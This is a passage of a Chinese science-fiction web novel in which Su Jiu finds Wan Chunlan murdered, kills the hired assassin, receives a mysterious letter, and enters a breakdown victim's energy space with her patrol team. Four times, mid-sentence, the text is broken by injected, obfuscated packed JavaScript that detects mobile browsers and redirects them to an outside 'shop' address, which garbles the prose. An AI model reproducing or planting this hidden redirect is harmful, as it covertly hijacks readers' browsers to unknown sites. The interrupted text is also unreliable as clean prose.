程墨:“你们没死,父亲那边肯定是不会善罢甘休的,弟弟可是他最喜爱的儿子呢。但出于我个人的感激,我愿意同父亲解释,帮你们免去这些麻烦。” 宿九有种被人强行甩锅的感觉:“我们真没有杀你弟弟。” 程墨没出声,只是看着阿蒙,露出一个意味深长的笑容。 宿九有种不祥的预感…… 她看向阿蒙,因对方戴着面具,她无法看清面具下的表情。 “没错,是我杀的,怎么了?”阿蒙挺着胸,理直气壮。 “……” 虽然很不雅,但宿九真的想骂人。 “呵呵,你的小机器人挺可爱的。”程墨的长相完美契合玉面郎君这一词,这会儿笑起来十分具有迷惑性。 “你在搞什么?!”宿九压低声音质问阿蒙。 她真的没招了,这死东西怎么尽给她找麻烦。 “谁叫他欺负你。”阿蒙嘀咕道。 宿九觉得自己的肝有些疼:“他什么时候欺负我了?一个毛都没长齐的家伙。” 阿蒙沉默了几秒:“好吧,是我错了,下次不会了。” “没有下次!” 宿九突然觉得阿蒙的思想很是危险,人是能乱杀的吗? “你的感激我们不用了。”宿九有些头疼地对程墨说,“兵来将挡水来土掩,麻烦什么的,我们会自己解决的。” “真的不再考虑下吗?”程墨依旧保持微笑,“我一向很诚心。” “谢谢,不用了。”宿九坚定地拒绝。 要是答应了,鬼知道这人会给他们埋什么坑。 宿九的直觉,程墨这人就像只狐狸,一肚子坏水儿。 这地上躺着的人,谁派来的谁自然会处理,宿九索性不管了,拉着阿蒙就快步离开了。 临近家门口时,阿蒙居然有了小脾气。 他拦着宿九,不让她上楼,问道:“你为什么不答应他?他是天成生物制药公司的大少爷,现在董事长程博华的小儿子已经死了,以后肯定是程墨继承他爸的公司,如果你跟他合作,肯定有机会摆脱那个人的!” 宿九深深地看了他一眼,无语道:“也不知道你是真笨还是真蠢。” “哼,你就这么乐意给那个人做事吗?”阿蒙不开心道。 宿九眼眸微闪,推开了他:“让开,我要回家睡觉了。” “那个人”的身份,看来得找个机会旁敲侧击搞搞清楚了。 楼梯间的灯光在安静的氛围中无声熄灭。 阿蒙盯着黑暗,撇了撇嘴。 还未完全愈合的伤口传来阵阵难以忽视的疼痛,他烦躁地胡乱揉搓了几下,伤口又糟糕了几分,但愈合的速度并未减缓,没过多久,他身上的伤全都消失不见了。 上城区,一座高级私人公寓内。 光怪陆离的霓虹灯光穿透幕布般的落地玻璃窗,在弧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17141310|196350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 形沙发背面的黑色金属上反射出迷幻的光泽。 深灰色地毯中央置放着一个低矮圆桌,光滑的桌面映出了一张俊美的人脸。 来人穿着特制战靴,快步走来的脚步声在此间无处遁形。 “老板,A01杀了天成生物的小少爷,他们的大少爷带着十几个人寻到小姐,两方发生了一场冲突。” 沙发上的男人睁开眼睛,金色的瞳孔在夜晚显得格外摄人心魂。 “姓程的。”男人玩味似的轻笑一声,“他动手了?” “没有。”陆司始终没有抬头,目不斜视道,“他对小姐似乎是有拉拢的意思,但小姐明确拒绝了。” 男人扎起的白色长发掉落一缕,轻轻划过他的眼尾。 他把玩着手里的金属纽扣,说:“A01惹的事,让他自己解决。” “明白。” “研究院的进展如何了?”男人转移目光,看向了客厅的另一处,那里放着一排独立的金属展柜。 每个展柜内都装着不同机器人的虚拟投影,正面的透明盖子上显示着复杂的数据。 陆司如实答道:“查理教授的团队正在试验一种新方法,目前还未有新的结果。另外,研究所的实验材料损失消耗过快,剩下的数量不多了。” 男人的表情看起来不太满意:“那就增加黑市那边的抑制剂投放量。” 陆司有些犹豫地开口:“老板,这样可能会引起监察者的注意。” “放心,在我们之前,还有不少人。”男人将金属纽扣夹在指尖,细细摩挲,“监察者,也该换换血了。” 陆司惊讶地看了他一眼,而后又飞速低下了头。男人深邃的五官隐在暗处,让人捉摸不透心生胆寒。 气氛凝滞片刻,男人才幽幽开口:“对了,今日她处理的那个精神失控者,其亲属叫什么来着?” “万春兰。” “让人解决了吧。” 陆司从公寓里出来,闻到自己身上沾染的香氛气味,不喜地皱了皱眉。 老板就不能换个喜好吗?每次来了这里之后,他都得换身衣服。 万春兰的资料在他手环上悬浮显现,随即迅速消失。 真是麻烦,这人居然是那个潜行者的遗孀。 * 厚重的窗帘将所有光线都挡在了屋外,房间里又静又黑。 宿九躺在床上,在即将陷入沉睡时却猛地睁开了眼睛。 不行,她现在就得去一趟。 万春兰在一年前就搬离了小仓库,带着卢愿住进了下城区的居民楼。 距离她现在的位置,大概步行二十几分钟,不算太远。 此刻是凌晨一点多,错综复杂的巷子里除了她,没有一个人。 宿九一身黑,睁着一双亮晶晶的眼睛,潜行在黑暗里,仿佛飘荡在人间的幽灵。 不过多时,宿九到达了目的地。 微风吹过,拂动了她的发丝。宿九望着那间黑漆漆的窗户,心中的不祥预感更甚。 她不再犹豫,果断地飞奔上楼。 特殊材质的鞋底在跑动之间并未发出声响,她一路畅通无阻,很快便到达了万春兰家门口。 然而,显示异常的门锁让她心里凉了半截。 12. 精神失控08 原本不应该能打开的门,此时被她轻轻一推,便无声弹开出了一个能进入的缝隙。 智能门锁只有被人为破坏后,才会出现这种情况。 宿九可以肯定,有人闯进了万春兰的家。 但刚才她听见的极其短暂而细微的声音,现在消失了。 宿九掏出匕首紧握在手中,在门口等了十几秒,才侧身闪进门内。 她利用五感,警惕地观察四周,借着从窗帘缝隙透进来的微弱光亮,缓步朝里走去。 客厅里没有人。 而最有可能躲藏的地方,是两间卧室。 这人是破坏门锁闯入的,那就说明这里的楼层高度和环境条件不允许他从窗户这样的地方进出。 所以说,这个人一定还在这里。 宿九抿了抿唇,在摸到一个按钮时,直接打开了客厅的灯。 整个空间霎时明亮了起来。 两间卧室的门,没有任何区别,都紧紧地关闭着。 宿九悄声靠近,站在两扇门的中间仔细听了一会儿。 心跳声……但为什么只有一个人的? 一个最坏的念头浮现在了脑中,宿九神情凝重了起来。 她动作轻缓地打开门,准确地朝黑暗里看去。 随即视线移到床上,看到了一个盖着被子鼓起的身影,万春兰看起来就像是睡着了。 宿九合上门,将门外的光线彻底隔绝,房间里再次陷入黑暗。 她移动到床前,空着的那只手探出…… 万春兰没有呼吸了。 于是,她故意背过了身。 很多时候,有耐心等待的那方往往会成功捕获猎物。 黑暗里的人终于行动了。 宿九灵活闪开,避开了那人出手狠辣的一刀。 紧接着她旋身一踢,精准命中那人拿刀的手腕。 但锋利的短刀落在半空又被那人及时夺了回去,宿九趁机靠近,用匕首在他的腰侧重重划了一刀,随即迅速后退闪开。 黑暗对于宿九来说,算不上太大的障碍,但对方可就不一定了。 “你是什么人?”宿九刻意改变了声线,主动打探道。 对方可能怕暴露自己的位置,并未出声,反而极为迅猛地朝她进攻。 宿九用匕首接住他的短刀,刀刃相互撕咬发出刺耳的鸣叫,对方的力气很大,短短两秒便压得她手臂发麻。 感受过这人的力气后,宿九猝不及防地顺势卸力,同时敏捷闪身,绕到他的身后,反手将匕首朝他的侧颈刺去。 这人的实力要比先前程墨带来的那些人强,反应也很迅速,宿九没能准确刺中他的脖子,而是伤到了他的肩。 对方的呼吸明显急促了几分。 宿九没有停顿,而是非常丝滑地掏出一个熟悉的黑色物件,果断朝他的大腿、胸口等部位连续开了几枪。 感谢先前那些想杀她的人,让她顺了只枪走。 宿九没有立即要他的命,但十分有效地限制了他的行动。 下一秒,宿九“啪”的一声打开了灯。 一个身形壮硕的男人正捂着胸口,半跪在地上痛苦喘气。 “你为何要杀万春兰?”宿九举着枪,询问道。 男人下半张脸隐在面罩里,只留一双细长的眼睛在外面,恶狠狠地盯着她。 “别乱动。”宿九微眯着眼,毫不犹豫朝他那只往后腰摸去的手开了一枪。 “呃!”男人喉间发出一声痛呼,被子弹打穿的手无力地垂下,鲜血直流。 宿九紧盯着他:“我没什么耐心,回答我的问题。” “我只是替别人做事。”男人紧皱着眉头,看起来似乎在强忍痛苦。 “替谁?” 男人咽下嘴里的血,他奶奶的,今天简直倒了大霉。 说好只是让他来杀一个手无寸铁的普通人呢?这杀千刀的又是从哪儿冒出来的啊?! 他的心已经凉得差不多了:“我要说了,还能活命吗?” 与其交代在这里,还不如搏一把。 宿九的眼神十分纯良:“当然,我这不就是在给你活命的机会吗?” 男人沉默了几秒,突然泄气般地倒在地上,深色衣服被鲜血浸湿了大片。 “是、是……”然而还未来得及说完,他就缓缓合上了眼睛。 宿九:“……” 搁她面前装死呢? “死了?”宿九发出疑惑的声音,然后朝他靠近,嘀咕道,“行吧,那让我看看你长什么样。” 她在男人脑袋上方的位置蹲下,然后朝他的面具伸出了手,就在她触碰到的同时,男人的肌肉突然绷紧了。 宿九恶魔低语:“你觉得是我的枪快还是你快?” 男人惊恐地睁开眼睛,恰好与宿九倒过来的脸对了正着,那双眼睛看他像是在看死人一样。 冰凉的枪口抵在他的额头,此刻他的求生欲到达了顶峰。 “我说!我说!”男人急忙开口,被突然涌上来的鲜血呛得青筋直冒,“咳、咳咳,我只是收了一笔钱,才接下这个任务,对面的真实身份我也不知道。” “对方给了你多少钱?” 男人支支吾吾地说:“咳、呃,五百万金币。” 数目不小啊,五百万金币,可以在上城区买个厕所了。 “你们是怎样交易的?” 男人无力地说:“黑市匿名交易。” 看来是查不到对方的汇款账号了,宿九无奈地想。 但是,这个人的话她也不能百分之百相信。 在这个普通人生存艰难的世界,万春兰的性命真的值这么多钱吗? 宿九心情沉重地站起了身。 “噗哧。” 子弹射入男人的额头,令他彻底断了气。 避免以后出现麻烦,这人必须死。 宿九舔了舔干涩的唇,这才掀开被子,仔细查看起万春兰的尸体来。 只见她的身上并无伤口,只有颈部有着明显掐痕,以这个男人的力量,是能够轻松掐死万春兰的。 宿九在房间里转了转,试图寻找一些可疑的东西。 如果万春兰的性命真的值这么多钱,那是不是因为她知道一些不应该知道的事情呢?或者值钱的不是她的性命,而是她手里的什么东西? 宿九脚步一顿,回到了男人的尸体旁边。 她先是摘下男人的面具,将他的脸拍了下来,紧接着她便皱巴着脸,仔仔细细摸索起男人的衣服裤子来。 幸好男人穿的不多,能藏东西的地方也就那些,宿九在摸到一个硬物时,便停了下来。 她立马将东西掏了出来,看着手里的一个金属薄片,她翻来覆去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17141311|196350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地瞧了瞧,这是一个数据储存卡? 宿九将东西揣好,再次打量了房间一圈,才将手藏进袖子里,先后关闭了卧室和客厅的灯,准备离开。 可就在宿九开门的瞬间,一道黑影猛然朝她覆了过来。 宿九下意识想要开枪,可对方仿佛能预见她的动作一样,提前摁住了她的手。 眨眼间,她便被人反身禁锢在怀里,嘴巴被一只干燥的大手紧紧捂住。 对方凑到她的耳边,压低声音快速说道:“阿九,听我说,这里交给我,你往楼上走,从另一个出口下去,往北走一公里,有一家红色牌子的酒馆,点一杯情人的眼泪。快走,下面来人了。” 宿九都没来得及反应,便被他一把推出了门。 听到下层楼梯间逐渐靠近的脚步声,她不再犹豫,怀着一肚子疑问往楼上跑了去。 上楼时,她转头朝开着的门里看去,那人隐在门后,她什么也没看见。 宿九懊恼地加快了脚步。 一路上,宿九都在不停回忆刚才的画面,恨不得将每一个细节都拿出来深入探究一番。 那个男人很高,估计得有一米九往上,指腹上有茧,可能经常握枪。 对方将她反身压在怀里时,她的后脑勺似乎是碰到了一个金属材质的东西,或许是胸针之类的。 而且他身上的衣服,触感并不普通,就好像是……西装?不对,他穿了一件长外套,可能是大衣? 最值得她注意的地方是,这人叫她“阿九”,这称呼怎么听怎么别扭,一般只有相熟的、关系不错的人才会叫这种昵称似的玩意儿吧。 宿九有些头疼地祈祷,千万别是与她有着千丝万缕关系的熟人啊! 不过,这人应该对她没有敌意,毕竟当时情急之间用来控制她的力道都很巧妙。 另外,从楼梯间上来的人,也是来找万春兰的?那这人又会是什么身份呢? 这晚上短短的时间,发生的事情真是耗费她的脑细胞。 一公里的路程不长,宿九走得很快,没多久就看到了一个挂着红色牌子的小酒馆,四周挂着闪红蓝光的小灯。 宿九站在门口朝四周望了望,这里距离下城区的商业街不远了,尽管现在已经凌晨两点左右,但还是能看见时不时出现的路人。 酒馆的感应门自动开启,小音量播放的音乐缓缓流出,唤起了宿九一些熟悉的记忆。 这是她来到这个世界后第一次听见音乐,虽然是没听过的曲子。 整个酒馆的基调很昏暗,但又夹杂着梦幻的色彩,大大小小的金属物件、玻璃材质的酒杯和瓶瓶罐罐,以及复古式的收音机和各式各样的摆件,当它们出现在同一个空间里显得奇异又和谐。 角落里有几个人在饮酒,还有机器人做着一些清洁工作。 宿九走到吧台,正在擦拭玻璃杯的年轻小哥抬起了头。 “小姐您好,请问想喝什么呢?” “情人的眼泪。” 这几个字在宿九的嘴里咀嚼了几遍才说出来,谁起的这么咯噔的名字啊。 年轻小哥轻轻放下杯子,灰色瞳孔里闪过一丝微光。 “好的,请稍等。” 等了两分钟,宿九面前出现了一杯浅蓝色的酒。 但她的视线并未落在酒上,而是第一时间注意到了酒杯下压着的那个小信封。 13. 精神失控09 —— 尊敬的监察者先生: 您好,我是第一军事学院第二十二届毕业生宿九。 冒昧来信,还望见谅。学校的樱花很美,但这个春天我应当是会错过了,希望您在下个春天见到我时,我已经找到工作并离您很近了。 我养了一只机器猫,但它似乎出了一些问题,如果可以的话,还请您出手帮我修理一下,若是它重新回到我的身边,我将不胜感激。 学妹宿九 2080年3月16日 —— 宿九回到家,立即打开信封,将纸上的文字看了好几遍。 这封信,是去年的“她”写给监察者的。但让她头皮发麻的是,上面的字迹跟她的一模一样!她不是穿来的人吗? 这个世界的宿九和她到底有怎样的联系? 相同的外貌、相同的胎记、相同的字迹……一切的一切,都指向一个答案,这个世界原先的宿九,就是她。 在看到这封信之前,宿九并没有见到原主留下的任何手写字体,高度数字化已经让手写文字的行为成为了稀有的事情。 就连先前阿蒙出于谨慎交给他的那张纸,上面的文字也都不是手写的。 这封信,就好像是去年的“她”刻意保留下来,故意给现在的她查看的。 可是,为什么呢? 而今晚让她先行离开的那个男人,是否就是接收这封信的监察者呢? 以及她养的机器猫,现在在哪儿呢? 今晚接收到的信息量实在是太大,每一件事情都雾蒙蒙的,好似隔着数层纱,让人看不清摸不到。 在宿九怀着满脑子疑惑,疲惫地陷入睡梦中的时候,陆司再次返回了那间公寓。 白发男人换上了一件单薄的睡袍,身旁躺着一个未着寸缕的女人,似乎正闭着眼沉睡。 陆司在不近不远的地方停下脚步,面无表情地说道:“老板,有人先我们一步杀了万春兰。” 男人抚摸着女人光滑的身躯,修长的手指没入阴影里:“动作还挺快,也好,就借此将东西抖干净吧。” 陆司的心跳越来越快,但面上却什么也看不出:“那个人也死了。” “谁动的手?” “监察者,秦尤。” 男人眼底闪过一丝疑惑:“怎么是他?” 陆司没有说话,静默地站在原地。 片刻后,男人半褪衣袍,与此同时,女人忽然睁开眼睛,随即程序式地动起了身子。朦胧的光线之下,深灰色床单上的两个人紧紧贴在一起,真像是在依偎和亲昵。 陆司盯着自己的影子,稍一抬眼,便看见了雪白的人体,以及女人那超出人类极限的动作。 在他恶心得想要马上离开时,那人终于开口了。 “算了,找个替死鬼吧。” * 翌日,宿九按时来到城防军办事处,凭一己之力穿好了安全服,并装备上了令人安心的武器。 他们乘坐着专用车,在驶出城主府后,就启动了低空飞行模式,一路畅通无阻。 今天他们要巡逻的地方是在下城区。 “诶,你们昨晚都没有睡好吗?”易戈的视线在他们三人脸上来回游走,感兴趣地问道。 宿九不知道自己看起来是怎样的,但她看到了安叶和陈一伟不同程度的黑眼圈。 “还行吧。”她说,“就是睡得有点晚。” 安叶侧目看了她一眼,关心道:“失眠了?” “没,就是熬了会儿夜。”宿九也没说假话。 “哇,你居然不是受了昨天那个任务的影响?”易戈星星眼地看着她,“你是不知道,我第一次处理精神失控者的时候,一晚上都没睡着觉,脑子里太闹腾了。” 还会这样吗?宿九迷茫,她应该没受到什么影响吧,昨晚虽然睡得晚,但睡眠质量还是很不错的,要不是闹钟响了她都起不来。 安叶赞同地点了下头:“一般来说,第一次处理精神失控者的人,或多或少都会有些不良反应,你这样不受影响的,挺罕见的。” 易戈哈哈笑了几声,指着陈一伟说:“我记得当初他的反应可强烈了,几天都没睡着觉,饭也吃不下,虚到都要打营养液了。” 宿九诧异地看向陈一伟,这是她真没想到的。 “看什么看!”陈一伟凶巴巴地瞪着他们,“信不信现在老子一个打你们十个。” 安叶轻咳了一声,示意易戈别挑事儿。 这时,车子进入了巡逻区域,从空中缓缓降下,四个轮子挨到地面继续跑了起来。 安叶看着前方来往的路人,突然在车里说道:“听说万春兰死了。” 易戈先是一脸迷茫,等反应过来这人是谁后,顿时惊讶地提高了声音:“死了?她怎么死的?” 安叶摇了下头:“具体情况我不清楚,听说是监察者发现的。” “我靠,有大阴谋啊!”易戈下意识说道。 “别瞎讲。”安叶神色严肃,“我们只需要做我们该做的事,不该管的别管,不该问的也别问。” “哎呀知道知道。”易戈讪讪道,“我就是嘴快而已。” 宿九察觉到安叶看自己的视线,目光平静地回视了过去。 监察者发现的,那个男人真是监察者,大概率也就是她要找的人,可惜了,她没能看到对方的脸。 想起昨晚拿到的那个数据存储卡,宿九有点难办。 她试着读取里面的内容,但多次尝试都失败了。 或许是她忽略了什么,也或者是她没有读取权限,总之,她得尽快找一个安全可靠的专业人士帮忙。 三号无轨列车披着冷硬的银白色外壳,穿梭在灰蒙蒙的天空中,它正载着满车的乘客平稳行驶在下城区主要商业街的上空。 第五节车厢内,一个衣着体面得有些过分的男人正低着头,膝盖不受控制地高频抖动着,锃亮的皮鞋鞋跟急促地敲击着金属地板,发出扰人的节拍。 列车达到停靠点,短暂地停留后再次飞到了空中,半数乘客下了车,车厢里的视野一下子就宽阔起来。 小机器人捕捉到了那不自然的振动频率,出于关心乘客的目的,它快速滑行到了男人跟前。 然而扫描仪刚启动,便发出了“滋滋”的响声,随即立马宣布罢工,小机器人的整个身体僵直在原地,仿佛被无形的力量掐断了电源。 越来越急促的抖腿声引来了多道探寻的目光。 就在那些视线齐齐落在他的身上时,男人如同被按下了某个危险的开关,猛地弹起,一把攥住了离他最近的那个乘客的衣领,整张脸因某种极致的情绪而扭曲变形,他嘶哑地低吼:“你有工作吗?” 那人猝不及防看到一张扭曲的大脸,当即打了个哆嗦,脱口而出:“有。” 男人粗暴地推开他,又扑向另一个目标,面目狰狞,死死盯着对方:“你有工作吗?” “有。” “你有工作吗?” “有。” “你有工作吗?!” “……有。” 男人像是发疯般接连询问了好些个人,虽然大家心里都觉得他在发病,但被问到时还是诚实回答了。 “哈哈哈哈哈哈!”男人突然大笑起来,眼球镶在凹陷的眼眶里,感觉下一秒就要突出来了。 他发出悲戚的声音:“你们都有工作,你们都有工作!就我没有,就我没有!” 在众人被他的反应搞得莫名其妙时,男人的声音戛然而止,他站在车厢中央,宛如独角戏里的小丑,弯曲着本该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17141312|196350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挺直的脊背。 原来只是个找不到工作的失心疯可怜虫。 大家如是想,随即失去兴趣般,陆陆续续收回了目光。 然而,这份寂静只维持了不到一分钟。 离男人最近的那个乘客只觉得自己的脖子一凉,他下意识抬手摸去,可触手是一片温热粘稠。他惊恐地瞪大眼,看着指缝间汹涌溢出的鲜红,喉咙里发出“嗬嗬”的漏气声。 恰好,列车到达站点,如常地打开了门。 “啊,杀人了!”车厢里有人大喊一声,迅速跑下了车,生怕下一个遭殃的就是自己。 可其他车厢的大多数人都是没有搞清楚状况的,有人听见了这道不算太过高昂紧张的声音,只是好奇地张望了几下。 “下车!下车!所有人,全部下车!”一个残影飞速从远处赶来,来到列车前扯着嗓子大喊。 “发生什么事了?” “怎么了怎么了?城防军怎么来了?” “我还要上班呢,干什么啊这是?” “哎呀,别挤啊,踩我脚了!” 列车在这个站台停靠的时间只有两分钟,易戈看着处于状况之外行动慢吞吞的人们,咬牙冲进了事发车厢。 可他一进去,车厢里的画面让他脑瓜子瞬间充血,他近乎崩溃地呐喊道:“住手住手!” 地上躺着一个脖子流血的人,身体还在微微抽搐。 可易戈现在无暇顾及他了,因为最紧急的是,精神失控者要快被人弄死了。 “松手松手,他快断气儿了!”他闪到那个身材瘦小却能掐着一个男人的脖子,并将其拎起来的年轻女人身边,一脸费劲儿地掰她的手臂,“呃——他现在还不能死。” 如果精神失控者死在“影子”被回收之前,那完蛋了,“影子”会直接跑出来的! “他要杀我。”女人瞥了易戈一眼,表情冷淡。 “他精神失控了!”易戈注意到男人脸色青紫,瞳孔正在急速收缩,心里暗自骂了句。 该死,这女人力气怎么这么大! “哦。”女人见他神色着急,终于松开了手。 “砰”的一声,男人摔在车厢的金属板上,双手可能是被折断了,正形态扭曲地摆在身侧。 易戈立马上前检查,还好还好,人没死,还有气。 紧接着,他迅速将男人拖下了车厢。 原本计划的是清空列车里的其他人,他们将精神失控者隔离在车内处理,因为无轨列车具有特殊的材质,在里面隔离的效果会比外面更好。但现在看来,多半是行不通了,车里的人还有很多。 女人帮他把那个脖子流血晕过去的男人也弄下了车,拍了拍手说:“这人还能救一救。” 易戈:“好的,谢谢!交给我们吧。” 女人头也不回地上了车,深藏功与名。 D级力量强化型异能者,要不是她留手了,那男的就一普通人,早就死得透透的了,唉,精神失控者就是麻烦。 两分钟时间到,无轨列车按照既定程序,哐当一声合上门,朝下一站驶去。 这时,安叶驾驶着他们的专用车,载着其他组员急速赶了过来。 安叶第一时间给那脖子被划了一刀的男人打了救治药剂,然后把他交给了巡逻机器人。 同时,宿九和陈一伟驱散围观的无关人员,迅速建立起了隔离区。 “他怎么成了这副样子?”宿九第一眼看到这位精神失控者的惨状时,她就想问了。 易戈:“他要杀人,结果被一位不知名的勇士制裁了。” 宿九被透明防护罩包着的脑袋,轻轻点了下。 原来是“见义勇为”的人干的,还好不是易戈,不然他们将以“过度伤害精神失控者”的罪名集体扣工资了。 14. 精神失控10 在倒计时结束的瞬间,四人进入了精神失控者的能量空间。 这次的倒计时好像比上次快一点?宿九望着眼前的方形大楼,心想。 “路繁,男,35岁,普通人,原是天然食品公司的一名普通职员,但因公司优化升级,在一年前被裁,失去了工作。直至现在,他都处于无业状态,资料显示,这一年里他向外投递了几千份简历,但都没有成功。”易戈简要地概括所查到的信息,“不过在三个月前,他进入了一家非正规的小公司,但不幸的是,他被老板拖欠工资,到现在都没有拿到一分钱。今日路繁求职再次失败,在乘坐三号列车返家的途中,精神失控了。” 不管在哪个世界,都有经历悲惨的打工人,宿九默默在心里表示怜惜。 她懂,她都懂。 “不能向相关部门起诉吗?”宿九还是忍不住问了出来。 “起诉?”易戈露出疑惑的表情,“这是什么意思?” 啊?难道这里没有起诉的说法? “呃,这是我在一本书上看到的词语。”宿九随口说瞎话的技能越来越熟练了,“简单来说,就是向相关部门反映自己的不公遭遇,以律法维护自身的权利。” 易戈:“哦,明白了,路繁确实是给城主府发送过邮件,想要城主府帮他追回被拖欠的工资,可是由于该公司没有正规的经营资质,且他们并没有签订具有效力工作协议,城主府无法帮他追回。” 宿九不知道该说什么了,只能感叹路繁的胆子真大啊,这种全是大坑的工作是能去的吗? 安叶朝大家做了个手势,示意他们该进去了。 “其实在下城区和上城区,都有不少这类的工作,雇主出钱找人做事,虽然风险大但也没有办法,对于那些找不到正规工作的人,这确实是一种不错的经济来源。只不过普通人要比异能者艰难一点,毕竟欺负异能者的代价要比欺负普通人大得多了。” 宿九沉默地踏进大楼,对此没有发表任何看法。 挺没意思的,哪儿都一样,普通人活得都不容易。 进入大楼如同穿过了某道结界,出现在大家眼前的,不是常理中的宽阔大厅,而是一条昏暗狭窄的走廊,直直地插在四人脚下。 出乎意料的场景让几人都立即警惕了起来,安叶掏出枪,走在了最前方,嘱咐道:“都小心点。” 刻着“天然食品公司”几个大字的金属牌锈迹斑斑,摇摇欲坠地悬挂在走廊尽头的大门上。 “这就是路繁以前工作的那家公司吗?”宿九凭借自己的经验,第一反应是开在这种环境里的公司看起来也不太正规吧。 更像是那种……搞诈骗的小窝点。 易戈看了看资料上的图片,不太确定地说:“应该是吧。” 宿九往后瞥了一眼,在看清易戈手环上浮现的图片后,便明白了。 在现实里,整栋大楼都是这家公司的,“天然食品公司”几个字挂在刚才他们未进楼前就能仰望到的地方,醒目而霸气。 安叶举着枪,小心谨慎地将另一只手覆在门上,然而门却纹丝不动。 “锁住了?”易戈眨巴着眼,“可是没看到什么开关啊。” 走廊里异常安静,除了易戈赫然空旷的声音,宿九什么也没听见,就好像是进入这道门前,他们处于一个被隔绝的空间。 他们面临的第一个难题竟然是打不开门?这个滑稽的念头刚刚浮现在宿九的脑子里,安叶就有所动作了。 咔哒,她将手枪别在自己腰间,两只手的掌心紧贴在没有光泽的金属门板上,随即双臂因用力而微微弯曲。 轰隆—— 沉重的大门被她徒手推倒,砸在地上发出一声沉闷的巨响。 霹雳哐啷,原本摇摇欲坠的公司牌匾紧跟着从严重变形的门框上方掉落,跌跌撞撞地溜到了他们脚边。 “组长,厉害!”易戈惊呼。 这就是B级力量型强化吗?宿九眼底闪过惊艳之色,感觉徒手捏爆一个人的脑袋简直如捏豆腐般轻而易举啊。 讲真,有点小羡慕。 门内黑漆漆的空间在四人全部进入的瞬间,唰的一下亮起了白光,似乎在说:欢迎你们的到来。 “我天……”易戈看着眼前的地方,张大了嘴巴。 这里如同浸在冷白荧光里的大型车间,银白色金属地面浮着一层湿腻的反光,纵横交错的管道将几百个透明舱室紧紧缠绕连接在一起。每个舱室里都装着个穿灰蓝色工服的人影,他们低着头,手指机械地操弄着台上模糊的物件,每个人的动作像是复制粘贴,甚至连抬头的弧度都一模一样。 “……” 宿九感觉自己像是闯入了一窝巨型透明虫卵的孵化地,莫名瘆人。 陈一伟更是嫌恶地皱起眉头,他真的很讨厌这种整整齐齐而分布密集的东西。 “什么鬼地方!” “这家公司是专门做合成食品的。”安叶观察着周围,说道,“这里估计是他们的生产间。” 宿九展开视野,迅速将所有舱室里的人都仔细辨认了一下,最后说道:“这里没有看到路繁。” 易戈踹了两脚透明舱的外壁,随后闪了回来:“咦?还真是诶,而且你们不觉得这些人很奇怪吗?好像程序化的机器人啊。” 陈一伟人狠话不多,直接破开一个透明舱,经过强化的匕首轻轻松松解决了里面的人。 他划开那人的皮肉,三两下打开对方的胸腔,露出了里面刚刚停止跳动的心脏。 “是人,不是机器。”他冷漠地说。 “啊!你不用给我这种证明。”易戈简直没眼看。 陈一伟朝他竖起第三根手指:“胆小鬼。” “靠!”易戈炸了。 突然,宿九察觉到不对劲,及时打断了两人:“安静,他们可能看到我们了。” 安叶诧异地看向她:“什么?” 没等宿九解释,几人目不转睛地盯着前方——每个透明舱里的人,都齐刷刷地拧动脑袋,将脸对准了他们的方向。 他们全部面容憔悴、眼窝凹陷,就像是被吸走精气的干尸。 “为什么?”易戈发出微小的声音。 宿九也在思考,难道陈一伟的运气这么好吗?刚才他杀的那个人就正中路繁的心意了? 不然的话,他们为什么这么快就被发现了? 【工作……赚钱……工作……赚钱、钱、钱……】 声音,来了! 宿九第一时间看向其他几人,果然,只有她能听见。 不过,这次不太一样,这个声音并不是一个人发出来的,而是很多人的声音叠在一起,就像是……这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17141313|196350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几百个透明舱中的人集体发出的。一个人的声音虽然很弱很模糊,但上百个人的声音汇聚在一起,就很强很清晰了。 “都杀了吧。”安叶的高马尾束在脑后,随着她的动作在空中划出一道利落的弧度,“不要浪费时间了。” “得嘞!” 易戈迅速进入状态,使用异能飞速穿梭在密密麻麻的透明舱之间。 砰砰砰—— 舱壁被易戈相继破开,安叶和陈一伟紧跟着击杀里面的人。 